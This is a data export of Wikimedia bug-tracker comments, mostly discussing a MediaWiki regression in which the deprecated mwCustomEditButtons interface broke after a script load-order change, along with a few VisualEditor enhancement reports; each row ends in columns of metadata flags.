+In practical terms, it means that <p>Foo</p> gets wrapped into <dl><dd><p>Foo</p></dd></dl> and vice versa; all the DM/Parsoid plumbing is there, just needs the indent/outdent commands to be aware of how to operate in the paragraph/preformatted context.",,,1368836909,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hvvrpcxmtlfovm73otnw,task_subcomment,,True,c1,1,True,,,-7,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+222952,VisualEditor: Indent buttons should be used for in-/out-denting paragraphs as well as lists.,"These are for list indenting currently, and do not (yet) do text block indenting. Setting as an enhancement, likely to be after the 'beta' is released.",,,1367545334,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hvvrpcxmtlfovm73otnw,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0
+49913,VisualEditor: Support language variant conversion labels,"Conversion labels shown
+
+The conversion labels (i.e. { } ) for wikis like zhwiki is shown when editing using the VisualEditor.
+
+Those labels should be hidden, or otherwise newbies using the editor will break them easily.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+
+**Attached**: {F10580}",Medium,50.0,1367389920,1430156980.0,PHID-USER-ixwg3kf22idjy7x4ncxf,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-maehbrz5znwar2qitk5b,task_description,duplicate,True,c1,1,False,False,False,-9,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,1
+216987,VisualEditor: Support language variant conversion labels,"This is a mess; Parsoid currently has no support for the language variant conversion syntax in wikitext, but when it does (bug 41716) we should work on this to make it easy to set the different variants.
+
+Sorry that we are not really ready yet for zh; I feel that this is a blocker to deployment in zh, so until it's fixed I think VisualEditor will remain in alpha opt-in deployment there for now.",,,1367435394,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-maehbrz5znwar2qitk5b,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+49872,[Regression] mwCustomEditButtons from user script should work,"From the fall out of bug 47457's resolution:
+
+(bug 47457 comment #63 by Liangent)
+> (bug 47457 comment #54 by Krinkle)
+> > Change-Id: Ic3d0c937268d0943d2f770f3ca18bcf4e1eed346
+> 
+> This fix causes breakage of any user of site scripts which assume that
+> they're
+> loaded before $(document).ready(). Maybe someone can move jQuery.ready() call
+> to a position just before </body> and after all other script references?
+
+(bug 47457 comment #64 by matma.rex)
+> And it also breaks the old 'mwCustomEditButtons' interface to add custom
+> buttons to the old edit toolbar, which apparently everyone and their dog are
+> using across the wikis. (Since the user JS is loaded from the bottom queue,
+> but
+> the toolbar script either from the top or using inline <script> tags with
+> $.ready inside.)
+> 
+> Reopening. Moving the jQuery.ready() call after the bottom queue seems like a
+> good idea.
+
+
+(bug 47457 comment #66 by Brad Jorsch)
+> (bug 47457 comment #63 by Liangent)
+> > Maybe someone can move jQuery.ready() call to a position just before 
+> > </body> and after all other script references?
+> 
+> (bug 47457 comment #64 by matma.rex)
+> > Moving the jQuery.ready() call after the bottom queue seems like a good idea.
+> 
+> We tried that, see patchset 5 in https://gerrit.wikimedia.org/r/#/c/61057/5.
+> It didn't work.
+> 
+> But unless the browsers were delaying the DOMContentLoaded event until after
+> the async-loaded scripts in the bottom queue were loaded, I don't know how
+> this wasn't already a problem. Krinkle, any ideas?
+
+A few important questions I'd like answered:
+
+@Liangent: Can you given an example where it matters for a user script whether the document becomes ready before or after they are loaded? The user scripts are loaded from the bottom of the <body> before </body>. Practically the document is already ready at this point, just $(document).ready() hasn't fired yet. Any user script code that isn't wrapped in $(document).ready() will still execute at exactly the same time. Any user script code that *is* wrapped in $(document).ready() will now execute immediately after loading instead of... immediately after loading. Exactly the same, not?
+
+@Matma.rex: You mean the fact that the deprecated mwCustomEditButtons global (unlike the mw.toolbar interface) is inspected only once by mediawiki.action.edit.js, namely at the domready event. And if it is triggered before the user script, adding to that array will become a no-op.
+
+Though there is a lot of usage of this feature, lets not forget the context:
+
+* The mwCustomEditButtons interface is for the classic toolbar (aka ""Monobook editor"", though Vector users can also disable WikiEditor to get to it). This is already a large minority of users.
+* The mwCustomEditButtons interace has been deprecated in favour of mw.toolbar.addButton, which I created especially for the legacy toolbar users last year to address the many declined bug reports for mwCustomEditButtons which could not be otherwise addressed because mwCustomEditButtons is beyond repair, it is a flawed concept and it keeps breaking for many reasons.
+
+I don't think anything related to mwCustomEditButtons can justify a change of any kind unless it comes at absolutely no overhead and downside.
+
+@Brad Jorsch: It seems that the Firefox bug with document.write being disabled before DOMContentReady is worse than we thought. It is disabled even before the end of the </body> has been reached. We found through trial-and-error that placing it after the main content but before the bottom queue worked.
+
+As Brad pointed out, $.ready being triggered earlier makes no difference for the bottom queue because they are loaded asynchronously, they always execute without blocking the parser or the DOM ready event. In fact (while designing this) Roan and I made very sure to test this across the entire board of browsers we even remotely support (IE6-10, FF2-17, Chrome10-23, Opera9-11.x). And in any browser that we couldn't load it async, we scheduled the addScript to after dom-ready manually (only in Opera).
+
+However note that the user scripts (like the site scripts) are *not* loaded through mw.loader because we still support legacy global scope for them. They are loaded by a hardcoded script tag in the DOM. Which means they are blocking and used to block dom-ready, and now they run after dom-ready (well, they still block dom-ready, but we trigger that callback queue earlier).
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50310",Medium,50.0,1367327220,1370831532.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-nvh5ejbvixlonbrch4jd,task_description,declined,True,c1,1,True,False,True,-9,,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1
+214646,[Regression] mwCustomEditButtons from user script should work,"(In reply to comment #10)
+...
+> I'd recommend we add some code to mediawiki.action.edit to periodically check
+> mwCustomEditButtons. Then immediately deprecate it (not removing it, just
+> marking it as deprecated) and phasing it out over the following weeks (I'd
+> like
+> to add it to the js-deprecations train roll-out in May which will introduce
+> mw.log.deprecate and console.warn messages that users can use to easily see
+> if
+> they are using something that is deprecated).
+
+I requested this on bug 50310 so we don't forget.",,,1372357726,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,2,False,,,-1,,1,1,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+214638,[Regression] mwCustomEditButtons from user script should work,"Closing this as wontfix.
+
+The classic edit toolbar has long been deprecated. The default was replaced with WikiEditor on Wikimedia in a 2010 deployment. And since a few releases it is now bundled with new MediaWiki releases as well.
+
+Since then development has started on [[mw:VisualEditor]] which will be launched soon.
+
+Despite all that, I've spend a fair amount of effort over the last months to come up with a brand new API for the classic edit toolbar: mw.toolbar because mwCustomEditButtons is fundamentally flawed and cannot be repaired and kept up with the latest technologies.
+
+Any and all issues you may have with mwCustomEditButtons are from hereon invalid. Please use mw.toolbar instead. Note that mw.toolbar has nothing to do with WikiEditor or VisualEditor, it is a new API for the classic editor you are so familiar with.
+
+I can't make any promises for how long the classic toolbar and this new mw.toolbar will be supported, but at least it has been renewed to work with all the latest technologies so it should be a relatively cheap burdon for us to maintain.
+
+So, long story short: Change:
+
+> if ( wgAction === 'edit' ) {
+>     mwCustomEditButtons[mwCustomEditButtons.length] = {...};
+> }
+
+to:
+
+> if ( mw.toolbar ) {
+>     mw.toolbar.addButton( { ... } );
+> }
+
+If there are any bugs with that, please file a new bug report and be sure to mention ""mw.toolbar"" in its subject. I'll do my best to address if/when there are any issues.",,,1370831532,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+214630,[Regression] mwCustomEditButtons from user script should work,"We fixed it with Nemo on IRC. For the record, this was because the script ran on all pages (not just edit ones). The simplest way to fix that was to wrap the button definitions in ""if ( mw.toolbar ) { ... }"".",,,1370805496,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,2,True,,,-4,,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,1,0
+214625,[Regression] mwCustomEditButtons from user script should work,"(In reply to comment #9)
+> billinghurst, this has nothing to do with switching to the new toolbar;
+> mw.toolbar.addButton works with and is intended for the old one, and the
+> change
+> is just a simple find and replace:
+> 
+>   Find:         mwCustomEditButtons[mwCustomEditButtons.length] = { ... }
+>   Replace with: mw.toolbar.addButton({ ... })
+> 
+> Just be careful about braces and parentheses.
+> 
+> Here's an example diff:
+> https://nl.wikipedia.org/w/index.php?title=Gebruiker:Romaine/vector.js&diff=37497149&oldid=37497060
+
+This solution didn't work for long, it just broke all JavaScript for me on Meta (most prominently, [[m:WM:LS]]) with:
+
+Timestamp: 09/06/2013 20:03:03
+Error: TypeError: mw.toolbar is undefined
+Source File: https://bits.wikimedia.org/meta.wikimedia.org/load.php?debug=false&lang=it&modules=user&only=scripts&skin=monobook&user=Nemo+bis&version=20130601T024617Z&*
+Line: 1
+
+[MediaWiki 	1.22wmf5 (bad4d50)]",,,1370801419,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,2,True,,,-4,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1
+214620,[Regression] mwCustomEditButtons from user script should work,"(In reply to comment #11)
+> (In reply to comment #9)
+> > billinghurst, this has nothing to do with switching to the new toolbar;
+> > mw.toolbar.addButton works with and is intended for the old one, and the
+> > change
+> > is just a simple find and replace:
+> > 
+> >   Find:         mwCustomEditButtons[mwCustomEditButtons.length] = { ... }
+> >   Replace with: mw.toolbar.addButton({ ... })
+> > 
+> > Just be careful about braces and parentheses.
+> > 
+> > Here's an example diff:
+> > https://nl.wikipedia.org/w/index.php?title=Gebruiker:Romaine/vector.
+> > js&diff=37497149&oldid=37497060
+> 
+> Thanks. This innovation had escaped me, and clearly a whole community that
+> was
+> using mwCustomEditButtons. I will relay this to the enWS community, and fix
+> our
+> help pages.
+> 
+> Can you recommend that right page to watch for these changes.  I thought
+> that I
+> had watched all the relevant pages where Krinkle does these components,
+> however, it is clear that this change wasn't evident for active changes.
+
+Clearly it was a long time ago as I have since found reference that it was broken in 1.18, but somehow it didn't break for all. Weird.",,,1367383460,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,False,,,-9,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,1,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+214614,[Regression] mwCustomEditButtons from user script should work,"(In reply to comment #9)
+> billinghurst, this has nothing to do with switching to the new toolbar;
+> mw.toolbar.addButton works with and is intended for the old one, and the
+> change
+> is just a simple find and replace:
+> 
+>   Find:         mwCustomEditButtons[mwCustomEditButtons.length] = { ... }
+>   Replace with: mw.toolbar.addButton({ ... })
+> 
+> Just be careful about braces and parentheses.
+> 
+> Here's an example diff:
+> https://nl.wikipedia.org/w/index.php?title=Gebruiker:Romaine/vector.
+> js&diff=37497149&oldid=37497060
+
+Thanks. This innovation had escaped me, and clearly a whole community that was using mwCustomEditButtons. I will relay this to the enWS community, and fix our help pages.
+
+Can you recommend that right page to watch for these changes.  I thought that I had watched all the relevant pages where Krinkle does these components, however, it is clear that this change wasn't evident for active changes.",,,1367382951,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,False,,,-9,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+214609,[Regression] mwCustomEditButtons from user script should work,"(In reply to comment #7)
+> So how hard would it be to get the site&user scripts to run first, then
+> $.ready, then the rest of the bottom queue? Then we could kill off
+> mwCustomEditButtons after announcing it properly and revert the change
+> (unless
+> there is a considerable number of other scripts this would break).
+> 
+> [Disclaimer: I know next to nothing about ResourceLoader internals.]
+
+site&user script run after the bottom queue by design. Just like the cascading stylesheets, they are intended and designed to allow overriding/customising things after everything else.
+
+Though presence of code will not make a difference (since bottom queue is async), the loading is affected.
+
+Code in site and/or user scripts that are wrapped in mw.loader.using would trigger additional http requests instead of tagging along on the already pending request for the bottom queue (this is ResourceLoader internals).
+
+I'd recommend we add some code to mediawiki.action.edit to periodically check mwCustomEditButtons. Then immediately deprecate it (not removing it, just marking it as deprecated) and phasing it out over the following weeks (I'd like to add it to the js-deprecations train roll-out in May which will introduce mw.log.deprecate and console.warn messages that users can use to easily see if they are using something that is deprecated).
+
+Then we can safely remove mwCustomEditButtons in the 1.22 release.
+
+(In reply to comment #6)
+> (In reply to comment #5)
+> > Rephrasing bug to be about mwCustomEditButtons to avoid mixed subjects.
+> 
+> See my comment above. There may be other similar structures existing there.
+
+Possible indeed, though unlikely as most legacy things have been phased out. Examples are welcome :)",,,1367355163,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,True,,,-9,,1,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,0,1,1,0,0,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+214604,[Regression] mwCustomEditButtons from user script should work,"billinghurst, this has nothing to do with switching to the new toolbar; mw.toolbar.addButton works with and is intended for the old one, and the change is just a simple find and replace:
+
+  Find:         mwCustomEditButtons[mwCustomEditButtons.length] = { ... }
+  Replace with: mw.toolbar.addButton({ ... })
+
+Just be careful about braces and parentheses.
+
+Here's an example diff: https://nl.wikipedia.org/w/index.php?title=Gebruiker:Romaine/vector.js&diff=37497149&oldid=37497060",,,1367338720,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+214601,[Regression] mwCustomEditButtons from user script should work,"As a comment mwCustomEditButtons functionality is used at English Wikisource. And for numbskulls like myself it is far easier to code snippets to implant code than the alternate means. I repeatedly failed to master mw.toolbar.addButton, gave up walked away, too much to do, too much to customise.
+
+The old toolbar allows for easy nulling out of buttons not required, or not prioritised, and the easy addition of little bits of personal functionality, and the new toolbar makes these things hard (IMO).  Don't blame us that we find the older tool to work better; has the requisite functionality, and meets our simple needs. We are not WP, our requirements are different, our tasks are different, our namespaces are different.
+
+I am happy to try again to be less stupid to see if I can create a core set of tools that could be used, and allow users to plug them in as they see fit, however, it isn't my core skill set. Definitely an area where better guidance would be of use.
+
+PLUS as the 'new' toolbar is still considered a BETA FEATURE (see preferences), why would we be expected to move. Stridency against us simple editors seems a little harsh. Some of us just want to get on with our tasks, and chasing and understanding the backend changes isn't easy.",,,1367338360,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,False,,,-9,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+214598,[Regression] mwCustomEditButtons from user script should work,"So how hard would it be to get the site&user scripts to run first, then $.ready, then the rest of the bottom queue? Then we could kill off mwCustomEditButtons after announcing it properly and revert the change (unless there is a considerable number of other scripts this would break).
+
+[Disclaimer: I know next to nothing about ResourceLoader internals.]",,,1367337892,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+214593,[Regression] mwCustomEditButtons from user script should work,"(In reply to comment #5)
+> Rephrasing bug to be about mwCustomEditButtons to avoid mixed subjects.
+
+See my comment above. There may be other similar structures existing there.",,,1367336991,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+214584,[Regression] mwCustomEditButtons from user script should work,"Rephrasing bug to be about mwCustomEditButtons to avoid mixed subjects.
+
+So in summary: mwCustomEditButtons is very ugly and undocumented. But it used to be the only way to add buttons to the toolbar. Though (as pointed out by various comments) it is a coincidence that most existing usages have survived without causing errors, but it is the case.
+
+How mwCustomEditButtons works now:
+* Initialise to empty array from top queue
+* Hook in document ready
+* Iterate through array (e.g. items added before the page load) and call mw.toolbar.addButton for each one.
+
+The state is that most existing usages of mwCustomEditButtons happen from a site or user script at run-time in the global scope. And this works fine because they are blocking script tags.
+
+Now that $.ready() (the jquery callback list, not the event itself) is triggered before site/user script load (the site/user script still load from the bottom) it means the code that iterates through the legacy array will not get any of the items because they're not in the array yet at that time.",,,1367336363,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,True,,,-9,,1,0,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0
+214575,[Regression] mwCustomEditButtons from user script should work,"(In reply to comment #0)
+> @Liangent: Can you given an example where it matters for a user script
+> whether
+> the document becomes ready before or after they are loaded? The user scripts
+> are loaded from the bottom of the <body> before </body>. Practically the
+> document is already ready at this point, just $(document).ready() hasn't
+> fired
+> yet. Any user script code that isn't wrapped in $(document).ready() will
+> still
+> execute at exactly the same time. Any user script code that *is* wrapped in
+> $(document).ready() will now execute immediately after loading instead of...
+> immediately after loading. Exactly the same, not?
+
+Let me give a (almost) real world example (difference explained below):
+
+We have some gadgets (technically some gadgets, but socially one gadget; not using [ResourceLoader]). The first is the gadget itself, which registers some global states as data/options, then $(document).ready() its execution code. All gadgets below are modifiers for the gadget which change those global states so when the main body of the gadget is executed, the modified global states are visible to it. But now...
+
+Difference from real world: addOnloadHook() is used there instead of $(document).ready() so it finally escaped :)",,,1367335235,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,False,,,-9,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+214565,[Regression] mwCustomEditButtons from user script should work,"Created attachment 12209
+Test case for the browser issue with setTimeout and document.write
+
+I've attached my test case for the browser issue with setTimeout and document.write. Note that it should be served from a webserver that is not behind a proxy server, so the flush calls result in it slowly counting 0-9.
+
+**Attached**: {F10516}",,,1367334847,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+214553,[Regression] mwCustomEditButtons from user script should work,"(In reply to comment #0)
+> @Brad Jorsch: It seems that the Firefox bug with document.write being
+> disabled before DOMContentReady is worse than we thought. It is disabled even
+> before the end of the </body> has been reached. We found through
+> trial-and-error that placing it after the main content but before the bottom
+> queue worked.
+
+But it works from synchronously-processed scripts, even just before </body>.
+
+I've done some more testing on this Firefox situation. More specifically, it seems that *any* document.write called from a setTimeout callback will replace the document, even if it fires during <head>. And this even avoids the check (since Gecko 2.0 (Firefox 4.0)) that is supposed to disable document.write when called from async-loaded scripts.[1]
+
+ [1]: https://developer.mozilla.org/en-US/docs/HTML/Element/script#attr-async
+
+The following browsers seem to be affected by this issue: Firefox 20, IE8, IE10, Chrome 24, Chrome 26, Opera 12.14.
+
+The following browsers seem to *not* be affected by this issue: Safari 5.1 (Windows)
+
+So runScript() should probably be forcing async when it calls addScript(), since it is called from a setTimeout in addEmbeddedCss(), as another layer of fix for bug 47457.
+
+
+> As Brad pointed out, $.ready being triggered earlier makes no difference for
+> the bottom queue because they are loaded asynchronously, they always execute
+> without blocking the parser or the DOM ready event.
+
+In fact, this should make the behavior for the bottom queue *more* predictable. Previously, depending on whether the async-loaded scripts for the bottom queue loaded extremely quickly (e.g. from cache) and whether the browser then decided to process them before firing DOMContentLoaded, they might sometimes be fired before $.ready and sometimes after. Now they'll always be after, no matter what the browser does.
+
+> However note that the user scripts (like the site scripts) are *not* loaded
+> through mw.loader because we still support legacy global scope for them. They
+> are loaded by a hardcoded script tag in the DOM. Which means they are
+> blocking and used to block dom-ready
+
+I suppose that's where these complaints about mwCustomEditButtons and other such are coming from, if someone coded something assuming pre-ready directly in a user script or site script. OTOH, scripts loaded from the site or user scripts loaded via mw.loader.load() already had the issue (thanks to the fix for bug 34542 defaulting that sort of thing to async), so it only half-worked at best before bug 47457 anyway.",,,1367334391,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,False,,,-9,,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,1
+214546,[Regression] mwCustomEditButtons from user script should work,"(In reply to comment #0)
+> @Matma.rex: You mean the fact that the deprecated mwCustomEditButtons global
+> (unlike the mw.toolbar interface) is inspected only once by
+> mediawiki.action.edit.js, namely at the domready event. And if it is
+> triggered
+> before the user script, adding to that array will become a no-op.
+
+Yes, precisely.
+
+
+> Though there is a lot of usage of this feature, lets not forget the context:
+
+> * The mwCustomEditButtons interface is for the classic toolbar (aka ""Monobook
+> editor"", though Vector users can also disable WikiEditor to get to it). This
+> is
+> already a large minority of users.
+
+Yeah, my guesstimate is a few hundred power-users across all of the Wikimedia wikis. (I just searched for 'mwCustomEditButtons' in user pages on a few large projects, and tried to account for inactive ones.)
+
+
+> * The mwCustomEditButtons interace has been deprecated in favour of
+> mw.toolbar.addButton, which I created especially for the legacy toolbar users
+> last year to address the many declined bug reports for mwCustomEditButtons
+> which could not be otherwise addressed because mwCustomEditButtons is beyond
+> repair, it is a flawed concept and it keeps breaking for many reasons.
+> 
+> I don't think anything related to mwCustomEditButtons can justify a change of
+> any kind unless it comes at absolutely no overhead and downside.
+
+I realize that this is deprecated, and agree that it's broken by design. But killing it should be preceded by some release notes and some Wikimedia announcements (or just fixing users' JavaScript for them, since there are comparatively few of them).
+
+I have reopened the previous bug because of the combination of Liangent's comment (which I didn't verify myself) and at least two users complaining about this on #wikimedia-tech today, including one who was kind and persistent enough to help me confirm that this was what broke the functionality ([[nl:User:Romaine]]).
+
+So I'm all for removing this legacy compatibility, but let's do it right instead of as a side-effect of an unrelated fix.",,,1367328242,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,1,True,,,-9,,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1
+49803,"VisualEditor: For images, ensure that the HTML structure rendered in VE is the same as output by PHP parser so that styles/scripts work as expected and images look normal","Screenshot in edit mode
+
+Images on pages are normally included using the ""thumb"" syntax:
+
+[[File:Foo.jpg|thumb|description]]
+
+In the edit mode no thumb frame is shown, see screenhots.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://de.wikipedia.org/wiki/Benutzer:Raymond/thumb
+
